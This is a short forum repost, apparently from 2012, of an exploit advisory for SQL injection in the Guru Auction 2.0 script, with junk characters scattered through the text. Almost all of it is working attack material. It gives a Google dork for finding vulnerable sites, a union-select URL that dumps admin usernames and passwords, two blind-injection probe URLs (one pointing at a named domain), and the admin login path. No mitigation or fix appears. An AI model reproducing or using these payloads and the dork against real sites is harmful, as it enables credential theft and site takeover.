Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
" ^7 ?8 E' V- r$ h& B7 {% K, Z- e. e0 V7 v
作者 : v3n0m1 l5 H2 P4 ^3 j* \
应用 : Guru Auction 2.0' ~1 e3 a1 ]' M& B1 z& E. b
Price : $49
' Q) o/ D& @7 Z W. T4 g# fVendor : http://www.guruscript.com/! |9 B; K4 \$ N. `3 @4 _
Google Dork : inurl:subcat.php?cate_id=
5 \/ X, E! S3 p. G! P0 j2 S Z
* g, \) D' E1 h! j% LSQLi p0c:
) l1 ] G' t) q~~~~~~~~~~
* O: J% J, V. B0 D5 mhttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
0 E! U1 ^& M* Z C
e' d: t0 z. @! N 5 r# g- e$ ?/ R. a1 X
盲注 p0c:; [! w9 Y& w8 p/ |% y; r1 r; F
~~~~~~~~~~
: b0 Z7 s U3 {% Bhttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true% Z) `5 w3 w4 @' U
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false! W( D4 ?6 @) T7 e3 d8 s
* v1 I; n# {( y! `/ j8 p/ k3 P
管理登录入口:! y5 W# z8 ^; G. w; o- n
~~~~~~~~~~" k, Y0 e1 x% S* q3 v) o
http://domain.tld/[path]/admin/
4 X- e# j/ v" t8 f. M) I |
发表于 2012-12-31 09:24:05
收藏
支持
反对